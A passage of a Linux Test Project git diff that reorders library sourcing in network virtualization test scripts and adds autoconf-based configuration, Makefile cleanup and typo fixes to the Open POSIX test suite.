VIRT_PERF_THRESHOLD="$VIRT_PERF_THRESHOLD_MIN" +fi virt_lib_usage() { @@ -37,10 +44,6 @@ virt_lib_setup() { case "$virt_type" in vxlan|geneve) - if tst_kvcmp -lt "3.8"; then - tst_brk TCONF "test must be run with kernel 3.8 or newer" - fi - if [ "$TST_IPV6" ] && tst_kvcmp -lt "3.12"; then tst_brk TCONF "test must be run with kernels >= 3.12" fi @@ -58,23 +61,6 @@ virt_lib_setup() ROD_SILENT "ip link delete ltp_v0" } -TST_NEEDS_ROOT=1 -. tst_net.sh - -ip_virt_local="$(TST_IPV6= tst_ipaddr_un)" -ip6_virt_local="$(TST_IPV6=6 tst_ipaddr_un)" - -ip_virt_remote="$(TST_IPV6= tst_ipaddr_un rhost)" -ip6_virt_remote="$(TST_IPV6=6 tst_ipaddr_un rhost)" - -vxlan_dstport=0 - -# Max performance loss (%) for virtual devices during network load -VIRT_PERF_THRESHOLD=${VIRT_PERF_THRESHOLD:-80} -if [ -n "$VIRT_PERF_THRESHOLD_MIN" ] && [ "$VIRT_PERF_THRESHOLD" -lt $VIRT_PERF_THRESHOLD_MIN ]; then - VIRT_PERF_THRESHOLD="$VIRT_PERF_THRESHOLD_MIN" -fi - cleanup_vifaces() { tst_res TINFO "cleanup virtual interfaces..." @@ -262,10 +248,6 @@ virt_minimize_timeout() vxlan_setup_subnet_uni() { - if tst_kvcmp -lt "3.10"; then - tst_brk TCONF "test must be run with kernel 3.10 or newer" - fi - [ "$(ip link add type $virt_type help 2>&1 | grep remote)" ] || \ tst_brk TCONF "iproute doesn't support remote unicast address" @@ -384,3 +366,13 @@ virt_gre_setup() virt_setup "local $(tst_ipaddr) remote $(tst_ipaddr rhost) dev $(tst_iface)" \ "local $(tst_ipaddr rhost) remote $(tst_ipaddr) dev $(tst_iface rhost)" } + +. tst_net.sh + +ip_virt_local="$(TST_IPV6= tst_ipaddr_un)" +ip6_virt_local="$(TST_IPV6=6 tst_ipaddr_un)" + +ip_virt_remote="$(TST_IPV6= tst_ipaddr_un rhost)" +ip6_virt_remote="$(TST_IPV6=6 tst_ipaddr_un rhost)" + +vxlan_dstport=0 diff --git a/testcases/network/virt/vlan01.sh b/testcases/network/virt/vlan01.sh index 69d2564c..045b12a6 100755 --- a/testcases/network/virt/vlan01.sh +++ b/testcases/network/virt/vlan01.sh @@ -19,6 +19,6 @@ TST_TEST_DATA=",$p0 $lb0 $rh0,$p0 $lb0 $rh1,$p0 $lb1 $rh0,$p0 $lb1 $rh1,\ $p1 $lb0 $rh0,$p1 $lb0 $rh1,$p1 $lb1 $rh0,$p1 $lb1 $rh1" TST_TEST_DATA_IFS="," TST_TESTFUNC=virt_test_01 -. virt_lib.sh +. virt_lib.sh tst_run diff --git a/testcases/network/virt/vlan02.sh b/testcases/network/virt/vlan02.sh index 04a8a5c6..f9a25667 100755 --- a/testcases/network/virt/vlan02.sh +++ b/testcases/network/virt/vlan02.sh @@ -10,11 +10,11 @@ virt_type="vlan" TST_TESTFUNC=do_test -. virt_lib.sh do_test() { virt_add_delete_test "id 4094" } +. virt_lib.sh tst_run diff --git a/testcases/network/virt/vlan03.sh b/testcases/network/virt/vlan03.sh index b7125ae7..3230a9f6 100755 --- a/testcases/network/virt/vlan03.sh +++ b/testcases/network/virt/vlan03.sh @@ -26,7 +26,6 @@ TST_TEST_DATA_IFS="," TST_TESTFUNC=do_test TST_SETUP=virt_lib_setup TST_CLEANUP=virt_cleanup -. virt_lib.sh do_test() { @@ -44,4 +43,5 @@ do_test() virt_cleanup_rmt } +. virt_lib.sh tst_run diff --git a/testcases/network/virt/vxlan01.sh b/testcases/network/virt/vxlan01.sh index 53169153..332b77b4 100755 --- a/testcases/network/virt/vxlan01.sh +++ b/testcases/network/virt/vxlan01.sh @@ -9,14 +9,13 @@ TST_OPTS="hi:d:" TST_PARSE_ARGS=virt_lib_parse_args TST_USAGE=virt_lib_usage - -virt_type="vxlan" -start_id=16700000 - TST_TEST_DATA="l2miss l3miss,norsc nolearning noproxy,\ ttl 0x01 tos 0x01,ttl 0xff tos 0xff,gbp" TST_TEST_DATA_IFS="," TST_TESTFUNC=virt_test_01 -. virt_lib.sh +virt_type="vxlan" +start_id=16700000 + +. virt_lib.sh tst_run diff --git a/testcases/network/virt/vxlan02.sh b/testcases/network/virt/vxlan02.sh index 04036a0d..4223f4e2 100755 --- a/testcases/network/virt/vxlan02.sh +++ b/testcases/network/virt/vxlan02.sh @@ -10,13 +10,11 @@ TST_OPTS="hi:d:" TST_PARSE_ARGS=virt_lib_parse_args TST_USAGE=virt_lib_usage +TST_TESTFUNC=do_test virt_type="vxlan" start_id=16700000 -TST_TESTFUNC=do_test -. virt_lib.sh - do_test() { local mult_addr="239.1.1.1" @@ -25,4 +23,5 @@ do_test() virt_add_delete_test "id $start_id group $mult_addr" } +. virt_lib.sh tst_run diff --git a/testcases/network/virt/vxlan03.sh b/testcases/network/virt/vxlan03.sh index 7e545322..ccb97d70 100755 --- a/testcases/network/virt/vxlan03.sh +++ b/testcases/network/virt/vxlan03.sh @@ -32,7 +32,6 @@ TST_CLEANUP=virt_cleanup # switch, VxLAN can be much slower when comparing to the performance without # any encapsulation. VIRT_PERF_THRESHOLD_MIN=160 -. virt_lib.sh do_test() { @@ -51,4 +50,5 @@ do_test() virt_cleanup_rmt } +. virt_lib.sh tst_run diff --git a/testcases/network/virt/vxlan04.sh b/testcases/network/virt/vxlan04.sh index 2418e5ed..3beb8c45 100755 --- a/testcases/network/virt/vxlan04.sh +++ b/testcases/network/virt/vxlan04.sh @@ -16,7 +16,6 @@ virt_type="vxlan" start_id=16700000 vxlan_dst_addr="uni" VIRT_PERF_THRESHOLD_MIN=160 -. virt_lib.sh do_test() { @@ -29,4 +28,5 @@ do_test() virt_cleanup_rmt } +. virt_lib.sh tst_run diff --git a/testcases/network/virt/wireguard01.sh b/testcases/network/virt/wireguard01.sh index 05d696a7..3cf67416 100755 --- a/testcases/network/virt/wireguard01.sh +++ b/testcases/network/virt/wireguard01.sh @@ -8,8 +8,6 @@ TST_CLEANUP=cleanup TST_TESTFUNC=test TST_CNT=3 -. wireguard_lib.sh - setup() { if tst_net_use_netns && [ "$VIRT_PERF_THRESHOLD" -lt 700 ]; then @@ -53,4 +51,5 @@ test3() virt_compare_netperf "fail" } +. wireguard_lib.sh tst_run diff --git a/testcases/network/virt/wireguard02.sh b/testcases/network/virt/wireguard02.sh index c16ae68d..a7d8f207 100755 --- a/testcases/network/virt/wireguard02.sh +++ b/testcases/network/virt/wireguard02.sh @@ -1,14 +1,12 @@ #!/bin/sh # SPDX-License-Identifier: GPL-2.0-or-later +# Copyright (c) 2022 Petr Vorel # Copyright (c) 2020 Oracle and/or its affiliates. All Rights Reserved. TST_CLEANUP=cleanup TST_TESTFUNC=test1 TST_SETUP=wireguard_lib_setup -. ipsec_lib.sh -. wireguard_lib.sh - IPSEC_MODE="tunnel" IPSEC_PROTO="esp_aead" AEALGO="rfc4106_256" @@ -45,4 +43,6 @@ test1() tst_netload_compare $time_ipsec $time_wg -100 } +. ipsec_lib.sh +. wireguard_lib.sh tst_run diff --git a/testcases/network/virt/wireguard_lib.sh b/testcases/network/virt/wireguard_lib.sh index 2e36bce3..c59ecbbd 100755 --- a/testcases/network/virt/wireguard_lib.sh +++ b/testcases/network/virt/wireguard_lib.sh @@ -1,5 +1,6 @@ #!/bin/sh # SPDX-License-Identifier: GPL-2.0-or-later +# Copyright (c) Linux Test Project, 2022 # Copyright (c) 2020 Oracle and/or its affiliates. All Rights Reserved. TST_NEEDS_TMPDIR=1 @@ -11,7 +12,6 @@ TST_NEEDS_DRIVERS="wireguard" VIRT_PERF_THRESHOLD_MIN=${VIRT_PERF_THRESHOLD_MIN:-200} virt_type="wireguard" -. virt_lib.sh # Usage: wireguard_lib_setup [TYPE] # TYPE: [ default | invalid_allowed_ips | invalid_pub_keys ] @@ -64,3 +64,5 @@ wireguard_lib_cleanup() { virt_cleanup } + +. virt_lib.sh diff --git a/testcases/network/xinetd/xinetd_tests.sh b/testcases/network/xinetd/xinetd_tests.sh index f7f5db7b..505dae5d 100755 --- a/testcases/network/xinetd/xinetd_tests.sh +++ b/testcases/network/xinetd/xinetd_tests.sh @@ -12,7 +12,6 @@ TST_TESTFUNC="do_test" TST_CNT=2 . daemonlib.sh -. tst_net.sh setup() { @@ -109,4 +108,5 @@ do_test() esac } +. tst_net.sh tst_run diff --git a/testcases/open_posix_testsuite/.gitignore b/testcases/open_posix_testsuite/.gitignore index a134c02a..c9164df3 100755 --- a/testcases/open_posix_testsuite/.gitignore +++ b/testcases/open_posix_testsuite/.gitignore @@ -15,3 +15,8 @@ run.sh logfile + +/configure +/config.log +/config.status +include/mk/config.mk diff --git a/testcases/open_posix_testsuite/Documentation/HOWTO_Release b/testcases/open_posix_testsuite/Documentation/HOWTO_Release index a6970c87..3332cae0 100755 --- a/testcases/open_posix_testsuite/Documentation/HOWTO_Release +++ b/testcases/open_posix_testsuite/Documentation/HOWTO_Release @@ -20,8 +20,8 @@ released files. 4. Download the *.tar.gz file from the SF interface and untar it in a sandbox. -5. Run "make" to try to build and execute all files in the release, and - ensure that they all build and execute correctly. +5. Run "./configure && make" to try to build and execute all files + in the release, and ensure that they all build and execute correctly. 6. Craft a release message and send to: posixtest-announce. diff --git a/testcases/open_posix_testsuite/Documentation/HOWTO_RunTests b/testcases/open_posix_testsuite/Documentation/HOWTO_RunTests index 0231838e..c443f9e3 100755 --- a/testcases/open_posix_testsuite/Documentation/HOWTO_RunTests +++ b/testcases/open_posix_testsuite/Documentation/HOWTO_RunTests @@ -45,6 +45,7 @@ To build and run the tests, you should be in the main posix test suite directory. From there, execute: + # ./configure # make all This will build all of the conformance, functional, and stress tests. diff --git a/testcases/open_posix_testsuite/Makefile b/testcases/open_posix_testsuite/Makefile index fea6db14..8b4c8c0a 100755 --- a/testcases/open_posix_testsuite/Makefile +++ b/testcases/open_posix_testsuite/Makefile @@ -5,6 +5,10 @@ # all of the Makefiles will be rebuilt by default. CRITICAL_MAKEFILE= conformance/interfaces/timer_settime/Makefile +top_srcdir?= . + +include include/mk/env.mk + # The default logfile for the tests. LOGFILE?= logfile # Subdirectories to traverse down. @@ -21,43 +25,54 @@ BUILD_MAKE= env $(BUILD_MAKE_ENV) $(MAKE) TEST_MAKE= env $(TEST_MAKE_ENV) $(MAKE) -k -top_srcdir?= . - -prefix?= `$(top_srcdir)/scripts/print_prefix.sh` - -datadir?= $(prefix)/share - -exec_prefix?= $(prefix) - all: conformance-all functional-all stress-all tools-all -ifeq ($(shell uname -s), Linux) -include Makefile.linux -endif +AUTOGENERATED_FILES = include/mk/config.mk + +.PHONY: ac-clean +ac-clean: clean -clean: $(CRITICAL_MAKEFILE) - @rm -f $(LOGFILE)* +.PHONY: clean +clean: + $(RM) -f $(LOGFILE)* + $(RM) -f config.log config.status @for dir in $(SUBDIRS) tools; do \ $(MAKE) -C $$dir clean >/dev/null; \ done -distclean: distclean-makefiles +.PHONY: distclean +distclean: clean distclean-makefiles + @rm -f $(AUTOGENERATED_FILES) # Clean out all of the generated Makefiles. +.PHONY: distclean-makefiles distclean-makefiles: @for dir in $(SUBDIRS); do \ $(MAKE) -C $$dir $@; \ done +$(AUTOGENERATED_FILES): $(top_builddir)/config.status + $(SHELL) $^ + +.PHONY: autotools +autotools: configure + +configure: configure.ac + autoconf + +.PHONY: generate-makefiles generate-makefiles: distclean-makefiles @env top_srcdir=$(top_srcdir) \ $(top_srcdir)/scripts/generate-makefiles.sh +.PHONY: install install: bin-install conformance-install functional-install stress-install +.PHONY: test test: conformance-test functional-test stress-test # Test build and execution targets. +.PHONY: conformance-all conformance-install conformance-test conformance-all: $(CRITICAL_MAKEFILE) @rm -f `if echo "$(LOGFILE)" | grep -q '^/'; then echo "$(LOGFILE)"; else echo "\`pwd\`/$(LOGFILE)"; fi`.$@ @$(BUILD_MAKE) -C conformance -j1 all @@ -69,6 +84,7 @@ conformance-test: @rm -f `if echo "$(LOGFILE)" | grep -q '^/'; then echo "$(LOGFILE)"; else echo "\`pwd\`/$(LOGFILE)"; fi`.$@ @$(TEST_MAKE) -C conformance test +.PHONY: functional-all functional-install functional-test functional-all: $(CRITICAL_MAKEFILE) @rm -f `if echo "$(LOGFILE)" | grep -q '^/'; then echo "$(LOGFILE)"; else echo "\`pwd\`/$(LOGFILE)"; fi`.$@ @$(BUILD_MAKE) -C functional -j1 all @@ -80,6 +96,7 @@ functional-test: @rm -f `if echo "$(LOGFILE)" | grep -q '^/'; then echo "$(LOGFILE)"; else echo "\`pwd\`/$(LOGFILE)"; fi`.$@ @$(TEST_MAKE) -C functional test +.PHONY: stress-all stress-install stress-test stress-all: $(CRITICAL_MAKEFILE) @rm -f `if echo "$(LOGFILE)" | grep -q '^/'; then echo "$(LOGFILE)"; else echo "\`pwd\`/$(LOGFILE)"; fi`.$@ @$(BUILD_MAKE) -C stress -j1 all @@ -92,17 +109,15 @@ stress-test: @$(TEST_MAKE) -C stress test # Tools build and install targets. +.PHONY: bin-install bin-install: @$(MAKE) -C bin install +.PHONY: tools-all tools-all: @$(MAKE) -C tools all -$(CRITICAL_MAKEFILE): \ - $(top_srcdir)/scripts/generate-makefiles.sh \ - $(top_srcdir)/CFLAGS \ - $(top_srcdir)/LDFLAGS \ - $(top_srcdir)/LDLIBS +$(CRITICAL_MAKEFILE): $(top_srcdir)/scripts/generate-makefiles.sh @$(MAKE) generate-makefiles .PHONY: check diff --git a/testcases/open_posix_testsuite/QUICK-START b/testcases/open_posix_testsuite/QUICK-START index 6f5d881b..28b5ccc9 100755 --- a/testcases/open_posix_testsuite/QUICK-START +++ b/testcases/open_posix_testsuite/QUICK-START @@ -10,8 +10,6 @@ No worries! Here's a quick doc to help you around POSIX** Test Suite. Setting up your machine ======================== -* There is nothing to install, the suite is intended to be run directly. - * See the "BUILD" file for info on how to set up the Makefile and your machine, depending on what specific area you are concentrating on. (Signals, Semaphores, Threads, Timers or Message Queues). @@ -20,8 +18,8 @@ Setting up your machine Running the tests =================== -* Easiest way to run all the tests is to do a "make all" in the top-level - directory. +* Easiest way to run all the tests is to do a "./configure && make all" + in the top-level directory. * To run tests for a specific directory, do the following - make generate-makefiles # only required for the first shot. diff --git a/testcases/open_posix_testsuite/bin/Makefile b/testcases/open_posix_testsuite/bin/Makefile index d9fd1380..262a6567 100755 --- a/testcases/open_posix_testsuite/bin/Makefile +++ b/testcases/open_posix_testsuite/bin/Makefile @@ -4,18 +4,32 @@ # Ngie Cooper, July 2010 # -top_srcdir?= .. +top_srcdir ?= .. -srcdir= $(top_srcdir)/bin +include $(top_srcdir)/include/mk/config.mk -prefix?= `$(top_srcdir)/scripts/print-prefix.sh` - -bindir?= $(prefix)/bin +INSTALL_BIN_TARGETS = run-all-posix-option-group-tests.sh run-posix-option-group-test.sh +INSTALL_TESTCASE_BIN_TARGETS = run-tests.sh t0 +.PHONY: clean clean: @rm -f t0.val -install: clean - @set -e; for i in `ls *`; do \ - install -m 0755 $$i $(DESTDIR)/$(bindir)/. ;\ +.PHONY: install +install: clean $(DESTDIR)/$(bindir) $(DESTDIR)/$(testdir_bin) + set -e; for file in $(INSTALL_BIN_TARGETS); do \ + install -m 00755 $$file $(DESTDIR)/$(bindir)/$$file; \ + done + + sed -i 's~TESTPATH=""~TESTPATH="$(testdir_rel)"~' $(DESTDIR)/$(bindir)/run-posix-option-group-test.sh + + set -e; for file in $(INSTALL_TESTCASE_BIN_TARGETS); do \ + install -m 00755 $$file $(DESTDIR)/$(testdir_bin)/$$file; \ done + + +$(DESTDIR)/$(bindir): + mkdir -p $@ + +$(DESTDIR)/$(testdir_bin): + mkdir -p $@ diff --git a/testcases/open_posix_testsuite/bin/run-posix-option-group-test.sh b/testcases/open_posix_testsuite/bin/run-posix-option-group-test.sh index 0d4c9bd8..e90c252a 100755 --- a/testcases/open_posix_testsuite/bin/run-posix-option-group-test.sh +++ b/testcases/open_posix_testsuite/bin/run-posix-option-group-test.sh @@ -1,4 +1,5 @@ #! /bin/sh +# Copyright (c) Linux Test Project, 2010-2022 # Copyright (c) 2002, Intel Corporation. All rights reserved. # Created by: julie.n.fleischer REMOVE-THIS AT intel DOT com # This file is licensed under the GPL license. For the full content @@ -7,7 +8,9 @@ # # Use to build and run tests for a specific area -BASEDIR="$(dirname "$0")/../conformance/interfaces" +TESTPATH="" + +BASEDIR="$(dirname "$0")/../${TESTPATH}/conformance/interfaces" usage() { @@ -22,7 +25,16 @@ EOF run_option_group_tests() { - for test_script in $(find $1 -name '*.run-test' | sort); do + local list_of_tests + + list_of_tests=`find $1 -name '*.run-test' | sort` + + if [ -z "$list_of_tests" ]; then + echo ".run-test files not found under $1, have been the tests compiled?" + exit 1 + fi + + for test_script in $list_of_tests; do (cd "$(dirname "$test_script")" && ./$(basename "$test_script")) done } diff --git a/testcases/open_posix_testsuite/configure.ac b/testcases/open_posix_testsuite/configure.ac new file mode 100644 index 00000000..efa0393f --- /dev/null +++ b/testcases/open_posix_testsuite/configure.ac @@ -0,0 +1,18 @@ +AC_PREREQ(2.61) +AC_INIT([open_posix_testsuite], [LTP_VERSION], [ltp@lists.linux.it]) +AC_CONFIG_FILES([ \ + include/mk/config.mk \ +]) + +AC_PROG_CC + +AC_PREFIX_DEFAULT(/opt/openposix_testsuite) + +AC_ARG_WITH([open-posix-testdir], + [AS_HELP_STRING([--with-open-posix-testdir=DIR], [Relative path from $prefix to testdir])], + [testdir=$withval], + [testdir=] +) +AC_SUBST([testdir], [$testdir]) + +AC_OUTPUT diff --git a/testcases/open_posix_testsuite/conformance/Makefile b/testcases/open_posix_testsuite/conformance/Makefile index 11e8a840..756d2525 100755 --- a/testcases/open_posix_testsuite/conformance/Makefile +++ b/testcases/open_posix_testsuite/conformance/Makefile @@ -1,6 +1,7 @@ # SPDX-License-Identifier: GPL-2.0-or-later # Ngie Cooper, June 2010 +.PHONY: all clean distclean-makefiles install test all clean distclean-makefiles install test: @for dir in `ls -d */Makefile 2>/dev/null | sed -e 's,/Makefile$$,,g'`; do \ $(MAKE) -C $$dir $@; \ diff --git a/testcases/open_posix_testsuite/conformance/behavior/Makefile b/testcases/open_posix_testsuite/conformance/behavior/Makefile index b09527fd..f6814052 100755 --- a/testcases/open_posix_testsuite/conformance/behavior/Makefile +++ b/testcases/open_posix_testsuite/conformance/behavior/Makefile @@ -4,10 +4,12 @@ # Ngie Cooper, June 2010 # +.PHONY: all clean install test all clean install test: @for dir in `ls -d */Makefile 2>/dev/null | sed -e 's,/Makefile$$,,g'`; do \ $(MAKE) -C $$dir $@; \ done +.PHONY: distclean-makefiles distclean-makefiles: @find */ -name 'Makefile*' | xargs rm -f diff --git a/testcases/open_posix_testsuite/conformance/definitions/Makefile b/testcases/open_posix_testsuite/conformance/definitions/Makefile index b09527fd..f6814052 100755 --- a/testcases/open_posix_testsuite/conformance/definitions/Makefile +++ b/testcases/open_posix_testsuite/conformance/definitions/Makefile @@ -4,10 +4,12 @@ # Ngie Cooper, June 2010 # +.PHONY: all clean install test all clean install test: @for dir in `ls -d */Makefile 2>/dev/null | sed -e 's,/Makefile$$,,g'`; do \ $(MAKE) -C $$dir $@; \ done +.PHONY: distclean-makefiles distclean-makefiles: @find */ -name 'Makefile*' | xargs rm -f diff --git a/testcases/open_posix_testsuite/conformance/definitions/aio_h/2-1.c b/testcases/open_posix_testsuite/conformance/definitions/aio_h/2-1.c index 39fb41d2..133b3a51 100755 --- a/testcases/open_posix_testsuite/conformance/definitions/aio_h/2-1.c +++ b/testcases/open_posix_testsuite/conformance/definitions/aio_h/2-1.c @@ -25,4 +25,6 @@ int main(void) aiocb.aio_nbytes = 0; aiocb.aio_sigevent = sigevent; aiocb.aio_reqprio = -1; + + return 0; } diff --git a/testcases/open_posix_testsuite/conformance/interfaces/Makefile b/testcases/open_posix_testsuite/conformance/interfaces/Makefile index 2eb2bd40..3525da06 100755 --- a/testcases/open_posix_testsuite/conformance/interfaces/Makefile +++ b/testcases/open_posix_testsuite/conformance/interfaces/Makefile @@ -1,10 +1,12 @@ # SPDX-License-Identifier: GPL-2.0-or-later # Ngie Cooper, June 2010 +.PHONY: all clean install test all clean install test: @for dir in `ls -d */Makefile 2>/dev/null | sed -e 's,/Makefile$$,,g'`; do \ $(MAKE) -C $$dir $@; \ done +.PHONY: distclean-makefiles distclean-makefiles: @find */ -name 'Makefile*' | xargs rm -f diff --git a/testcases/open_posix_testsuite/conformance/interfaces/aio_read/8-1.c b/testcases/open_posix_testsuite/conformance/interfaces/aio_read/8-1.c index 8a6c024a..e0fecd80 100755 --- a/testcases/open_posix_testsuite/conformance/interfaces/aio_read/8-1.c +++ b/testcases/open_posix_testsuite/conformance/interfaces/aio_read/8-1.c @@ -10,7 +10,7 @@ * assertion: * * The aio_read() function shall return the value -1 and set errno to - * indicate error if the operation is not succesfully queued. + * indicate error if the operation is not successfully queued. * * method: * diff --git a/testcases/open_posix_testsuite/conformance/interfaces/aio_read/assertions.xml b/testcases/open_posix_testsuite/conformance/interfaces/aio_read/assertions.xml index e23c6bcf..ae206222 100755 --- a/testcases/open_posix_testsuite/conformance/interfaces/aio_read/assertions.xml +++ b/testcases/open_posix_testsuite/conformance/interfaces/aio_read/assertions.xml @@ -28,7 +28,7 @@ The aio_read() function shall return the value -1 and set errno to - indicate error if the operation is not succesfully queued. + indicate error if the operation is not successfully queued. aio_read() shall fail with [EAGAIN] if: @@ -46,16 +46,16 @@ value, or aio_nbytes is an invalid value. - The error status of a succesfully queued operation shall be: + The error status of a successfully queued operation shall be: [EBADF] if the aio_fildes argument is not a valid file descriptor open for reading. - The error status of a succesfully queued operation shall be: + The error status of a successfully queued operation shall be: [ECANCELED] if The requested I/O was canceled before the I/O completed. - The error status of a succesfully queued operation shall be: + The error status of a successfully queued operation shall be: [EINVAL] if aio_offset would be invalid, or aio_reqprio is not a valid value, or aio_nbytes is an invalid value. diff --git a/testcases/open_posix_testsuite/conformance/interfaces/aio_write/6-1.c b/testcases/open_posix_testsuite/conformance/interfaces/aio_write/6-1.c index 2948552c..60428ce2 100755 --- a/testcases/open_posix_testsuite/conformance/interfaces/aio_write/6-1.c +++ b/testcases/open_posix_testsuite/conformance/interfaces/aio_write/6-1.c @@ -10,7 +10,7 @@ * assertion: * * The aio_write() function shall return the value -1 and set errno to - indicate error if the operation is not succesfully queued. + indicate error if the operation is not successfully queued. * * method: * @@ -18,7 +18,6 @@ * aiocb with invalid aio_reqprio * - call aio_write * - check aio_write return value - * */ #include diff --git a/testcases/open_posix_testsuite/conformance/interfaces/aio_write/assertions.xml b/testcases/open_posix_testsuite/conformance/interfaces/aio_write/assertions.xml index 86694021..e00774c6 100755 --- a/testcases/open_posix_testsuite/conformance/interfaces/aio_write/assertions.xml +++ b/testcases/open_posix_testsuite/conformance/interfaces/aio_write/assertions.xml @@ -21,7 +21,7 @@ The aio_write() function shall return the value -1 and set errno to - indicate error if the operation is not succesfully queued. + indicate error if the operation is not successfully queued. aio_write() shall fail with [EAGAIN] if: @@ -38,17 +38,17 @@ aio_nbytes is an invalid value. - The error status of a succesfully queued operation shall be: + The error status of a successfully queued operation shall be: [EBADF] if the aio_fildes argument is not a valid file descriptor open for writing. - The error status of a succesfully queued operation shall be: + The error status of a successfully queued operation shall be: [EINVAL] if aio_offset would be invalid, or aio_reqprio is not a valid value, or aio_nbytes is an invalid value. - The error status of a succesfully queued operation shall be: + The error status of a successfully queued operation shall be: [ECANCELED] The requested I/O was canceled before the I/O completed. diff --git a/testcases/open_posix_testsuite/conformance/interfaces/fork/assertions.xml b/testcases/open_posix_testsuite/conformance/interfaces/fork/assertions.xml index 48abbfbe..64793fc3 100755 --- a/testcases/open_posix_testsuite/conformance/interfaces/fork/assertions.xml +++ b/testcases/open_posix_testsuite/conformance/interfaces/fork/assertions.xml @@ -83,7 +83,7 @@ fork() returns 0 to the child and the child PID to the parent process when - succesful. + successful. fork() returns -1, errno is set to EAGAIN, and no child process diff --git a/testcases/open_posix_testsuite/conformance/interfaces/lio_listio/13-1.c b/testcases/open_posix_testsuite/conformance/interfaces/lio_listio/13-1.c index 33915a44..48754f81 100755 --- a/testcases/open_posix_testsuite/conformance/interfaces/lio_listio/13-1.c +++ b/testcases/open_posix_testsuite/conformance/interfaces/lio_listio/13-1.c @@ -10,7 +10,7 @@ * assertion: * * if mode is LIO_WAIT, lio_listio() shall return the value -1 and set - * errno to indicate error if the operation is not succesfully queued. + * errno to indicate error if the operation is not successfully queued. * * method: * diff --git a/testcases/open_posix_testsuite/conformance/interfaces/lio_listio/2-1.c b/testcases/open_posix_testsuite/conformance/interfaces/lio_listio/2-1.c index 72a1113e..efcd5b3f 100755 --- a/testcases/open_posix_testsuite/conformance/interfaces/lio_listio/2-1.c +++ b/testcases/open_posix_testsuite/conformance/interfaces/lio_listio/2-1.c @@ -37,16 +37,8 @@ #define NUM_AIOCBS 256 #define BUF_SIZE 1024 -static volatile int received_selected; static volatile int received_all; -static void sigrt1_handler(int signum PTS_ATTRIBUTE_UNUSED, - siginfo_t *info, - void *context PTS_ATTRIBUTE_UNUSED) -{ - received_selected = info->si_value.sival_int; -} - static void sigrt2_handler(int signum PTS_ATTRIBUTE_UNUSED, siginfo_t *info PTS_ATTRIBUTE_UNUSED, void *context PTS_ATTRIBUTE_UNUSED) @@ -102,11 +94,6 @@ int main(void) aiocbs[i]->aio_buf = &bufs[i * BUF_SIZE]; aiocbs[i]->aio_nbytes = BUF_SIZE; aiocbs[i]->aio_lio_opcode = LIO_WRITE; - - /* Use SIRTMIN+1 for individual completions */ - aiocbs[i]->aio_sigevent.sigev_notify = SIGEV_SIGNAL; - aiocbs[i]->aio_sigevent.sigev_signo = SIGRTMIN + 1; - aiocbs[i]->aio_sigevent.sigev_value.sival_int = i; } /* Use SIGRTMIN+2 for list completion */ @@ -114,12 +101,6 @@ int main(void) event.sigev_signo = SIGRTMIN + 2; event.sigev_value.sival_ptr = NULL; - /* Setup handler for individual operation completion */ - action.sa_sigaction = sigrt1_handler; - sigemptyset(&action.sa_mask); - action.sa_flags = SA_SIGINFO | SA_RESTART; - sigaction(SIGRTMIN + 1, &action, NULL); - /* Setup handler for list completion */ action.sa_sigaction = sigrt2_handler; sigemptyset(&action.sa_mask); @@ -139,15 +120,6 @@ int main(void) exit(PTS_FAIL); } - if (received_selected == NUM_AIOCBS - 1) { - printf(TNAME " lio_listio() waited\n"); - for (i = 0; i < NUM_AIOCBS; i++) - free(aiocbs[i]); - free(bufs); - close(fd); - exit(PTS_FAIL); - } - if (received_all != 0) { printf(TNAME " Error lio_listio() waited for list completion\n"); diff --git a/testcases/open_posix_testsuite/conformance/interfaces/lio_listio/assertions.xml b/testcases/open_posix_testsuite/conformance/interfaces/lio_listio/assertions.xml index 8832fdd3..5aaa78a1 100755 --- a/testcases/open_posix_testsuite/conformance/interfaces/lio_listio/assertions.xml +++ b/testcases/open_posix_testsuite/conformance/interfaces/lio_listio/assertions.xml @@ -36,7 +36,7 @@ if mode is LIO_NOWAIT, lio_listio() shall return the value -1 and set - errno to indicate error if the operation is not succesfully queued. + errno to indicate error if the operation is not successfully queued. if mode is LIO_WAIT, lio_listio() shall return the value zero when diff --git a/testcases/open_posix_testsuite/conformance/interfaces/mmap/6-5.c b/testcases/open_posix_testsuite/conformance/interfaces/mmap/6-5.c index 33c0575c..a27c91e4 100755 --- a/testcases/open_posix_testsuite/conformance/interfaces/mmap/6-5.c +++ b/testcases/open_posix_testsuite/conformance/interfaces/mmap/6-5.c @@ -71,7 +71,7 @@ int main(void) munmap(pa, size); close(fd); - printf("Succesfully mapped readonly file with " + printf("Successfully mapped readonly file with " "PROT_WRITE, MAP_PRIVATE\n" "Test PASSED\n"); return PTS_PASS; } diff --git a/testcases/open_posix_testsuite/conformance/interfaces/mq_timedreceive/5-3.c b/testcases/open_posix_testsuite/conformance/interfaces/mq_timedreceive/5-3.c index a843c13e..d79d9720 100755 --- a/testcases/open_posix_testsuite/conformance/interfaces/mq_timedreceive/5-3.c +++ b/testcases/open_posix_testsuite/conformance/interfaces/mq_timedreceive/5-3.c @@ -110,5 +110,6 @@ int main(void) sleep(1); /* give time to parent to set up handler */ /* send signal to parent */ kill(getppid(), SIGABRT); + return 0; } } diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_getinheritsched/assertions.xml b/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_getinheritsched/assertions.xml index 9b2c1471..a15504bd 100755 --- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_getinheritsched/assertions.xml +++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_getinheritsched/assertions.xml @@ -4,7 +4,7 @@ pthread_attr_getinheritsched shall get the inheritsched attribute in the attr ar PTHREAD_INHERIT_SCHED and PTHREAD_EXPLICIT_SCHED are valid value. -If succesful, the pthread_attr_getinheritsched shall return zero. +If successful, the pthread_attr_getinheritsched shall return zero. If fail, the pthread_attr_getinheritsched shall return an error number. diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_getscope/assertions.xml b/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_getscope/assertions.xml index c201c444..f6733520 100755 --- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_getscope/assertions.xml +++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_getscope/assertions.xml @@ -4,7 +4,7 @@ pthread_attr_getscope shall get the inheritsched attribute in the attr argument The contentionscope attribute may have the values PTHREAD_SCOPE_SYSTEM, signifying system scheduling contention scope, or PTHREAD_SCOPE_PROCESS, signifying process scheduling contention scope. -If succesful, the pthread_attr_getscope shall return zero. +If successful, the pthread_attr_getscope shall return zero. If fail, the pthread_attr_getscope 